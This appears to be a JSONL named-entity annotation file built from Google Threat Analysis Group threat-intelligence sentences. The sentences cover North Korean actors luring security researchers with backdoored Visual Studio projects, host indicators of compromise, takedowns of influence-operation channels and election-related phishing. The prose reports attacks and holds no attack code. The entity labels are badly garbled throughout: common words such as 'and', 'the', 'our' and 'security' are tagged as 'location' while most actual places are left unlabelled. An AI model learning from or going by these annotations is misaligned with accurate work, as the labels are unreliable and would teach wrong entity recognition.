-{"id":11014,"text":"We hope this post will remind those in the security research community that they are targets to government-backed attackers and should remain vigilant when engaging with individuals they have not previously interacted with.","entities":[{"id":33581,"label":"location","start_offset":3,"end_offset":7},{"id":33582,"label":"location","start_offset":13,"end_offset":17},{"id":33583,"label":"location","start_offset":18,"end_offset":22},{"id":33584,"label":"location","start_offset":43,"end_offset":51},{"id":33585,"label":"location","start_offset":61,"end_offset":70},{"id":33586,"label":"location","start_offset":81,"end_offset":84},{"id":33587,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":11015,"text":"In order to build credibility and connect with security researchers, the actors established a research blog and multiple Twitter profiles to interact with potential targets.","entities":[{"id":33588,"label":"location","start_offset":30,"end_offset":33},{"id":33589,"label":"location","start_offset":47,"end_offset":55},{"id":33590,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
-{"id":11016,"text":"They've used these Twitter profiles for posting links to their blog, posting videos of their claimed exploits and for amplifying and retweeting posts from other accounts that they control.","entities":[{"id":33591,"label":"location","start_offset":110,"end_offset":113},{"id":33592,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
 {"id":11017,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including “guest” posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":33593,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":33594,"label":"location","start_offset":30,"end_offset":33},{"id":33595,"label":"location","start_offset":147,"end_offset":155},{"id":33596,"label":"location","start_offset":169,"end_offset":175},{"id":33597,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
-{"id":11018,"text":"While we are unable to verify the authenticity or the working status of all of the exploits that they have posted videos of, in at least one case, the actors have faked the success of their claimed working exploit.","entities":[{"id":33598,"label":"location","start_offset":9,"end_offset":12},{"id":33600,"label":"location","start_offset":141,"end_offset":145},{"id":33601,"label":"location","start_offset":173,"end_offset":180}],"relations":[],"Comments":[]}
-{"id":11019,"text":"On Jan 14, 2021, the actors shared via Twitter a YouTube video they uploaded that proclaimed to exploit CVE-2021-1647, a recently patched Windows Defender vulnerability.","entities":[{"id":33604,"label":"location","start_offset":113,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":11020,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":33606,"label":"malware","start_offset":80,"end_offset":87},{"id":33607,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":11021,"text":"Multiple comments on YouTube identified that the video was faked and that there was not a working exploit demonstrated.","entities":[{"id":33609,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":11022,"text":"After these comments were made, the actors used a second Twitter account (that they control) to retweet the original post and claim that it was “not a fake video.”","entities":[{"id":33610,"label":"location","start_offset":26,"end_offset":30},{"id":33612,"label":"location","start_offset":117,"end_offset":121},{"id":33613,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":11023,"text":"The actors have been observed targeting specific security researchers by a novel social engineering method.","entities":[{"id":33614,"label":"location","start_offset":49,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":11024,"text":"After establishing initial communications, the actors would ask the targeted researcher if they wanted to collaborate on vulnerability research together, and then provide the researcher with a Visual Studio Project.","entities":[{"id":33615,"label":"location","start_offset":154,"end_offset":157}],"relations":[],"Comments":[]}
 {"id":11025,"text":"Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.","entities":[{"id":33618,"label":"attack-pattern","start_offset":42,"end_offset":48}],"relations":[],"Comments":[]}
 {"id":11026,"text":"The DLL is custom malware that would immediately begin communicating with actor-controlled C2 domains.","entities":[],"relations":[],"Comments":[]}
-{"id":11027,"text":"An example of the VS Build Event can be seen in the image below.","entities":[{"id":33620,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":11028,"text":"In addition to targeting users via social engineering, we have also observed several cases where researchers have been compromised after visiting the actors’ blog.","entities":[],"relations":[],"Comments":[]}
-{"id":11029,"text":"In each of these cases, the researchers have followed a link on Twitter to a write-up hosted on blog.br0vvnn[.]io, and shortly thereafter, a malicious service was installed on the researcher’s system and an in-memory backdoor would begin beaconing to an actor-owned command and control server.","entities":[{"id":33621,"label":"location","start_offset":115,"end_offset":118},{"id":33622,"label":"location","start_offset":200,"end_offset":203},{"id":33623,"label":"location","start_offset":274,"end_offset":277}],"relations":[],"Comments":[]}
-{"id":11030,"text":"At the time of these visits, the victim systems were running fully patched and up-to-date Windows 10 and Chrome browser versions.","entities":[{"id":33624,"label":"location","start_offset":7,"end_offset":11},{"id":33625,"label":"location","start_offset":75,"end_offset":78},{"id":33626,"label":"location","start_offset":85,"end_offset":89},{"id":33627,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":11031,"text":"At this time we’re unable to confirm the mechanism of compromise, but we welcome any information others might have.","entities":[{"id":33628,"label":"location","start_offset":8,"end_offset":12},{"id":33629,"label":"location","start_offset":73,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":11032,"text":"Chrome vulnerabilities, including those being exploited in the wild (ITW), are eligible for reward payout under Chrome's Vulnerability Reward Program.","entities":[{"id":33631,"label":"location","start_offset":75,"end_offset":78},{"id":33632,"label":"location","start_offset":92,"end_offset":98},{"id":33633,"label":"location","start_offset":135,"end_offset":141}],"relations":[],"Comments":[]}
 {"id":11033,"text":"We encourage anyone who discovers a Chrome vulnerability to report that activity via the Chrome VRP submission process.","entities":[],"relations":[],"Comments":[]}
-{"id":11034,"text":"These actors have used multiple platforms to communicate with potential targets, including Twitter, LinkedIn, Telegram, Discord, Keybase and email.","entities":[{"id":33640,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":11035,"text":"We are providing a list of known accounts and aliases below.","entities":[{"id":33641,"label":"location","start_offset":3,"end_offset":6},{"id":33642,"label":"location","start_offset":19,"end_offset":23},{"id":33643,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":11036,"text":"If you have communicated with any of these accounts or visited the actors’ blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
-{"id":11037,"text":"To date, we have only seen these actors targeting Windows systems as a part of this campaign.","entities":[{"id":33644,"label":"location","start_offset":3,"end_offset":7},{"id":33645,"label":"location","start_offset":17,"end_offset":21},{"id":33646,"label":"location","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":11038,"text":"If you are concerned that you are being targeted, we recommend that you compartmentalize your research activities using separate physical or virtual machines for general web browsing, interacting with others in the research community, accepting files from third parties and your own security research.","entities":[{"id":33647,"label":"location","start_offset":7,"end_offset":10},{"id":33648,"label":"location","start_offset":30,"end_offset":33},{"id":33649,"label":"location","start_offset":224,"end_offset":233},{"id":33651,"label":"location","start_offset":270,"end_offset":273},{"id":33652,"label":"location","start_offset":283,"end_offset":291}],"relations":[],"Comments":[]}
 {"id":11039,"text":"Host IOCs Registry Keys HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\KernelConfig HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\DriverConfig HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\SSL Update File Paths C:\\Windows\\System32\\Nwsapagent.sys C:\\Windows\\System32\\helpsvc.sys C:\\ProgramData\\USOShared\\uso.bin C:\\ProgramData\\VMware\\vmnat-update.bin C:\\ProgramData\\VirtualBox\\update.bin","entities":[{"id":33653,"label":"location","start_offset":0,"end_offset":4},{"id":33654,"label":"REGISTRYKEY","start_offset":24,"end_offset":83},{"id":33655,"label":"REGISTRYKEY","start_offset":84,"end_offset":143},{"id":33656,"label":"REGISTRYKEY","start_offset":144,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":11040,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":11041,"text":"It was last updated on January 26, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":11042,"text":"We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11043,"text":"This campaign uploaded content in Russian supporting the Russian military and criticizing U.S. military involvement in Japan.","entities":[{"id":33661,"label":"location","start_offset":5,"end_offset":13},{"id":33662,"label":"location","start_offset":23,"end_offset":30},{"id":33665,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":11044,"text":"We received leads from Facebook that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":11045,"text":"We terminated 2 YouTube channels as part of our investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":11046,"text":"This domestic campaign posted content focused on elections and supporting the Union Solidarity and Development Party, (USDP).","entities":[{"id":33671,"label":"location","start_offset":5,"end_offset":13},{"id":33672,"label":"location","start_offset":14,"end_offset":22},{"id":33673,"label":"location","start_offset":30,"end_offset":37},{"id":33674,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":11047,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33677,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11048,"text":"We terminated 35 YouTube channels as part of our investigation into coordinated influence operations linked to Azerbaijan.","entities":[],"relations":[],"Comments":[]}
-{"id":11049,"text":"This domestic campaign was linked to the New Azerbaijan Party and posted content supporting the Azerbaijani government and promoting Azerbaijani nationalism.","entities":[{"id":33681,"label":"location","start_offset":5,"end_offset":13},{"id":33682,"label":"location","start_offset":14,"end_offset":22},{"id":33684,"label":"location","start_offset":62,"end_offset":65},{"id":33685,"label":"location","start_offset":73,"end_offset":80},{"id":33687,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":11050,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33689,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":11051,"text":"We terminated 26 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":33692,"label":"location","start_offset":34,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":11052,"text":"This campaign uploaded content primarily in Russian and included news clips and military videos supporting the Russian government.","entities":[{"id":33695,"label":"location","start_offset":5,"end_offset":13},{"id":33696,"label":"location","start_offset":23,"end_offset":30},{"id":33698,"label":"location","start_offset":52,"end_offset":55},{"id":33699,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":11053,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":11054,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33702,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11055,"text":"We terminated 2 YouTube channels as part of our ongoing investigation into a coordinated influence operation linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":11056,"text":"This campaign uploaded content in Farsi and Arabic that was critical of the Saudi government.","entities":[{"id":33706,"label":"location","start_offset":5,"end_offset":13},{"id":33707,"label":"location","start_offset":23,"end_offset":30},{"id":33709,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":11057,"text":"We terminated 10 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[],"relations":[],"Comments":[]}
-{"id":11058,"text":"This campaign uploaded content in Ukrainian about current events in Ukraine and critical of President Zelensky and former Ukrainian President Petro Poroshenko.","entities":[{"id":33714,"label":"location","start_offset":5,"end_offset":13},{"id":33715,"label":"location","start_offset":23,"end_offset":30},{"id":33718,"label":"location","start_offset":76,"end_offset":79},{"id":33720,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":11059,"text":"We terminated 22 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Indonesia.","entities":[],"relations":[],"Comments":[]}
-{"id":11060,"text":"This domestic campaign posted content supporting the Indonesian government.","entities":[{"id":33725,"label":"location","start_offset":5,"end_offset":13},{"id":33726,"label":"location","start_offset":14,"end_offset":22},{"id":33727,"label":"location","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
-{"id":11061,"text":"We terminated 2 YouTube channels and 1 blog as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[{"id":33731,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11062,"text":"This campaign posted content in Arabic about the Syrian civil war and critical of U.S. foreign policy.","entities":[{"id":33734,"label":"location","start_offset":5,"end_offset":13},{"id":33735,"label":"location","start_offset":21,"end_offset":28},{"id":33738,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":11063,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
 {"id":11064,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":11065,"text":"This campaign posted content in English, Hebrew, and Arabic supporting anti-government protests in Israel.","entities":[{"id":33744,"label":"location","start_offset":5,"end_offset":13},{"id":33745,"label":"location","start_offset":21,"end_offset":28},{"id":33748,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":11066,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33751,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11067,"text":"We terminated 9 YouTube channels as part of our investigation into a coordinated influence operation linked to Egypt.","entities":[],"relations":[],"Comments":[]}
-{"id":11068,"text":"This campaign posted content in Arabic supportive of the Muslim Brotherhood and critical of Israel and Saudi Arabia.","entities":[{"id":33756,"label":"location","start_offset":5,"end_offset":13},{"id":33757,"label":"location","start_offset":21,"end_offset":28},{"id":33760,"label":"location","start_offset":76,"end_offset":79},{"id":33762,"label":"location","start_offset":99,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":11069,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33764,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11070,"text":"We terminated 6 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":11071,"text":"This campaign posted content in Farsi and Dari about current events and included some content that misrepresented itself as Turkish and Afghan news outlets.","entities":[{"id":33769,"label":"location","start_offset":5,"end_offset":13},{"id":33770,"label":"location","start_offset":21,"end_offset":28},{"id":33772,"label":"location","start_offset":38,"end_offset":41},{"id":33774,"label":"location","start_offset":68,"end_offset":71},{"id":33775,"label":"location","start_offset":86,"end_offset":93},{"id":33777,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":11072,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33779,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11073,"text":"We terminated 1 YouTube channel as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":11074,"text":"This domestic campaign was linked to the Arakan Army and posted content that misrepresented itself as local news.","entities":[{"id":33784,"label":"location","start_offset":5,"end_offset":13},{"id":33785,"label":"location","start_offset":14,"end_offset":22},{"id":33787,"label":"location","start_offset":53,"end_offset":56},{"id":33788,"label":"location","start_offset":64,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":11075,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33789,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":11076,"text":"We terminated 1 YouTube channel and 1 advertising account as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":33793,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":11077,"text":"This campaign uploaded content in Russian critical of the Ukrainian government.","entities":[{"id":33796,"label":"location","start_offset":5,"end_offset":13},{"id":33797,"label":"location","start_offset":23,"end_offset":30}],"relations":[],"Comments":[]}
 {"id":11078,"text":"We terminated 1 blog as part of our investigation into coordinated influence operations linked to Argentina.","entities":[],"relations":[],"Comments":[]}
-{"id":11079,"text":"The campaign uploaded content in Spanish that was critical of an Ecuadorian member of parliament.","entities":[{"id":33802,"label":"location","start_offset":4,"end_offset":12},{"id":33803,"label":"location","start_offset":22,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":11080,"text":"We terminated 5 YouTube channels and 2 blogs as part of our ongoing investigation into coordinated influence operations linked to Russia.","entities":[{"id":33807,"label":"location","start_offset":33,"end_offset":36}],"relations":[],"Comments":[]}
-{"id":11081,"text":"This campaign uploaded content in Arabic about current events in the Middle East and North Africa.","entities":[{"id":33810,"label":"location","start_offset":5,"end_offset":13},{"id":33811,"label":"location","start_offset":23,"end_offset":30},{"id":33814,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":11082,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33816,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11083,"text":"We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to France.","entities":[],"relations":[],"Comments":[]}
-{"id":11084,"text":"This campaign uploaded content in French that was supportive of the French government and critical of the Russian government.","entities":[{"id":33821,"label":"location","start_offset":5,"end_offset":13},{"id":33822,"label":"location","start_offset":23,"end_offset":30},{"id":33825,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":11085,"text":"The campaign targeted the Central African Republic and Mali.","entities":[{"id":33827,"label":"location","start_offset":4,"end_offset":12},{"id":33829,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":11086,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":33831,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":11087,"text":"We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.","entities":[],"relations":[],"Comments":[]}
-{"id":11088,"text":"This domestic campaign uploaded content about the Myanmar elections, regional conflicts, and current events related to the U.S., China, and Malaysia.","entities":[{"id":33836,"label":"location","start_offset":5,"end_offset":13},{"id":33837,"label":"location","start_offset":14,"end_offset":22},{"id":33838,"label":"location","start_offset":32,"end_offset":39},{"id":33840,"label":"location","start_offset":89,"end_offset":92},{"id":33843,"label":"location","start_offset":136,"end_offset":139}],"relations":[],"Comments":[]}
 {"id":11089,"text":"We terminated 3,317 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
-{"id":11090,"text":"These channels mostly uploaded spammy content in Chinese about music, entertainment, and cooking.","entities":[{"id":33848,"label":"location","start_offset":38,"end_offset":45},{"id":33850,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":11091,"text":"A very small subset uploaded content in Chinese and English about the U.S. response to COVID-19 and anti-Chinese sentiment in the U.S.","entities":[{"id":33851,"label":"location","start_offset":7,"end_offset":12},{"id":33852,"label":"location","start_offset":29,"end_offset":36},{"id":33854,"label":"location","start_offset":48,"end_offset":51},{"id":33857,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":11092,"text":"We received leads from Graphika and Fireye that supported us in this investigation.","entities":[{"id":33861,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":11093,"text":"These findings are consistent with our previous reports in the Q2 and Q3 TAG bulletins.","entities":[{"id":33863,"label":"location","start_offset":15,"end_offset":18},{"id":33865,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":11094,"text":"Major events like elections and COVID-19 present opportunities for threat actors, and Google’s Threat Analysis Group (TAG) is working to thwart these threats and protect our products and the people using them.","entities":[{"id":33867,"label":"location","start_offset":0,"end_offset":5},{"id":33868,"label":"location","start_offset":28,"end_offset":31},{"id":33869,"label":"location","start_offset":82,"end_offset":85},{"id":33872,"label":"location","start_offset":158,"end_offset":161},{"id":33873,"label":"location","start_offset":183,"end_offset":186},{"id":33874,"label":"location","start_offset":204,"end_offset":208}],"relations":[],"Comments":[]}
-{"id":11095,"text":"As we head into the U.S. election, we wanted to share an update on what we’re seeing and how threat actors are changing their tactics.","entities":[{"id":33876,"label":"location","start_offset":85,"end_offset":88},{"id":33877,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":11096,"text":"In June, we announced that we saw phishing attempts against the personal email accounts of staffers on the Biden and Trump campaigns by Chinese and Iranian APTs (Advanced Persistent Threats) respectively.","entities":[{"id":33879,"label":"attack-pattern","start_offset":34,"end_offset":42},{"id":33881,"label":"location","start_offset":113,"end_offset":116},{"id":33884,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":11097,"text":"We haven’t seen any evidence of such attempts being successful.","entities":[],"relations":[],"Comments":[]}
 {"id":11098,"text":"The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.","entities":[{"id":33888,"label":"location","start_offset":35,"end_offset":38},{"id":33891,"label":"location","start_offset":83,"end_offset":91},{"id":33892,"label":"attack-pattern","start_offset":134,"end_offset":142},{"id":33893,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
 {"id":11099,"text":"As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns.","entities":[{"id":33895,"label":"location","start_offset":65,"end_offset":69},{"id":33896,"label":"attack-pattern","start_offset":77,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":11100,"text":"One APT31 campaign was based on emailing links that would ultimately download malware hosted on GitHub.","entities":[{"id":33899,"label":"location","start_offset":10,"end_offset":18}],"relations":[],"Comments":[]}
-{"id":11101,"text":"The malware was a python-based implant using Dropbox for command and control.","entities":[{"id":33902,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":11102,"text":"It would allow the attacker to upload and download files as well as execute arbitrary commands.","entities":[{"id":33903,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
 {"id":11103,"text":"Every malicious piece of this attack was hosted on legitimate services, making it harder for defenders to rely on network signals for detection.","entities":[],"relations":[],"Comments":[]}
 {"id":11104,"text":"In one example, attackers impersonated McAfee.","entities":[],"relations":[],"Comments":[]}
 {"id":11105,"text":"The targets would be prompted to install a legitimate version of McAfee anti-virus software from GitHub, while malware was simultaneously silently installed to the system.","entities":[],"relations":[],"Comments":[]}
-{"id":11106,"text":"When we detect that a user is the target of a government-backed attack, we send them a prominent warning.","entities":[{"id":33908,"label":"location","start_offset":34,"end_offset":40},{"id":33909,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":11107,"text":"In these cases, we also shared our findings with the campaigns and the Federal Bureau of Investigation.","entities":[{"id":33910,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":11108,"text":"This targeting is consistent with what others have subsequently reported.","entities":[],"relations":[],"Comments":[]}
-{"id":11109,"text":"Overall, we’ve seen increased attention on the threats posed by APTs in the context of the U.S. election.","entities":[{"id":33912,"label":"location","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":11110,"text":"U.S government agencies have warned about different threat actors, and we’ve worked closely with those agencies and others in the tech industry to share leads and intelligence about what we’re seeing across the ecosystem.","entities":[{"id":33915,"label":"location","start_offset":67,"end_offset":70},{"id":33916,"label":"location","start_offset":112,"end_offset":115},{"id":33917,"label":"location","start_offset":135,"end_offset":143},{"id":33918,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":11111,"text":"This has resulted in action on our platforms, as well as others.","entities":[{"id":33919,"label":"location","start_offset":21,"end_offset":27}],"relations":[],"Comments":[]}
 {"id":11112,"text":"Shortly after the U.S. Treasury sanctioned Ukrainian Parliament member Andrii Derkach for attempting to influence the U.S. electoral process, we removed 14 Google accounts that were linked to him.","entities":[],"relations":[],"Comments":[]}
-{"id":11113,"text":"We’ve been sharing actions against coordinated influence operations in our quarterly TAG bulletin (check out our Q1, Q2 and Q3 updates).","entities":[{"id":33930,"label":"location","start_offset":99,"end_offset":104},{"id":33933,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":11114,"text":"To date, TAG has not identified any significant coordinated influence campaigns targeting, or attempting to influence, U.S. voters on our platforms.","entities":[{"id":33935,"label":"location","start_offset":3,"end_offset":7}],"relations":[],"Comments":[]}
-{"id":11115,"text":"Since last summer, TAG has tracked a large spam network linked to China attempting to run an influence operation, primarily on YouTube.","entities":[{"id":33939,"label":"location","start_offset":37,"end_offset":42}],"relations":[],"Comments":[]}
-{"id":11116,"text":"This network has a presence across multiple platforms, and acts by primarily acquiring or hijacking existing accounts and posting spammy content in Mandarin such as videos of animals, music, food, plants, sports, and games.","entities":[{"id":33942,"label":"location","start_offset":55,"end_offset":58},{"id":33943,"label":"location","start_offset":118,"end_offset":121},{"id":33944,"label":"location","start_offset":137,"end_offset":144},{"id":33946,"label":"location","start_offset":213,"end_offset":216}],"relations":[],"Comments":[]}
-{"id":11117,"text":"A small fraction of these spam channels will then post videos about current events.","entities":[{"id":33947,"label":"location","start_offset":2,"end_offset":7},{"id":33948,"label":"location","start_offset":40,"end_offset":44},{"id":33949,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":11118,"text":"Such videos frequently feature clumsy translations and computer-generated voices.","entities":[{"id":33950,"label":"location","start_offset":51,"end_offset":54}],"relations":[],"Comments":[]}
-{"id":11119,"text":"Researchers at Graphika and FireEye have detailed how this network behaves—including its shift from posting content in Mandarin about issues related to Hong Kong and China’s response to COVID-19, to including a small subset of content in English and Mandarin about current events in the U.S. (such as protests around racial justice, the wildfires on the West Coast, and the U.S. response to COVID-19).","entities":[{"id":33952,"label":"location","start_offset":24,"end_offset":27},{"id":33954,"label":"location","start_offset":108,"end_offset":115},{"id":33957,"label":"location","start_offset":162,"end_offset":165},{"id":33959,"label":"location","start_offset":211,"end_offset":216},{"id":33960,"label":"location","start_offset":227,"end_offset":234},{"id":33962,"label":"location","start_offset":246,"end_offset":249},{"id":33965,"label":"location","start_offset":324,"end_offset":331},{"id":33967,"label":"location","start_offset":366,"end_offset":369}],"relations":[],"Comments":[]}
 {"id":11120,"text":"As the course of the COVID-19 pandemic evolves, we’ve seen threat actors evolve their tactics as well.","entities":[],"relations":[],"Comments":[]}
 {"id":11121,"text":"In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.","entities":[],"relations":[],"Comments":[]}
-{"id":11122,"text":"This summer, we and others observed threat actors from China, Russia and Iran targeting pharmaceutical companies and researchers involved in vaccine development efforts.","entities":[{"id":33971,"label":"location","start_offset":16,"end_offset":19},{"id":33974,"label":"location","start_offset":69,"end_offset":72},{"id":33976,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
-{"id":11123,"text":"In September, we started to see multiple North Korea groups shifting their targeting towards COVID-19 researchers and pharmaceutical companies, including those based in South Korea.","entities":[{"id":33979,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
-{"id":11124,"text":"One campaign used URL shorteners and impersonated the target’s webmail portal in an attempt to harvest email credentials.","entities":[{"id":33982,"label":"location","start_offset":4,"end_offset":12},{"id":33983,"label":"location","start_offset":33,"end_offset":36},{"id":33984,"label":"location","start_offset":54,"end_offset":60},{"id":33985,"label":"location","start_offset":71,"end_offset":77},{"id":33986,"label":"location","start_offset":95,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":11125,"text":"In a separate campaign, attackers posed as recruiting professionals to lure targets into downloading malware.","entities":[{"id":33987,"label":"location","start_offset":14,"end_offset":22},{"id":33988,"label":"location","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":11126,"text":"In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.","entities":[{"id":33989,"label":"location","start_offset":56,"end_offset":59},{"id":33990,"label":"attack-pattern","start_offset":89,"end_offset":97},{"id":33991,"label":"location","start_offset":108,"end_offset":111},{"id":33992,"label":"location","start_offset":205,"end_offset":208},{"id":33993,"label":"location","start_offset":214,"end_offset":220},{"id":33994,"label":"location","start_offset":230,"end_offset":234},{"id":33995,"label":"location","start_offset":247,"end_offset":253},{"id":33996,"label":"location","start_offset":308,"end_offset":311}],"relations":[],"Comments":[]}
 {"id":11127,"text":"While it’s less common to see DDoS attacks rather than phishing or hacking campaigns coming from government-backed threat groups, we’ve seen bigger players increase their capabilities in launching large-scale attacks in recent years.","entities":[{"id":33997,"label":"attack-pattern","start_offset":55,"end_offset":63},{"id":33998,"label":"location","start_offset":197,"end_offset":202}],"relations":[],"Comments":[]}
 {"id":11128,"text":"For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.","entities":[{"id":34002,"label":"attack-pattern","start_offset":94,"end_offset":107},{"id":34005,"label":"location","start_offset":163,"end_offset":167},{"id":34007,"label":"location","start_offset":176,"end_offset":179},{"id":34008,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
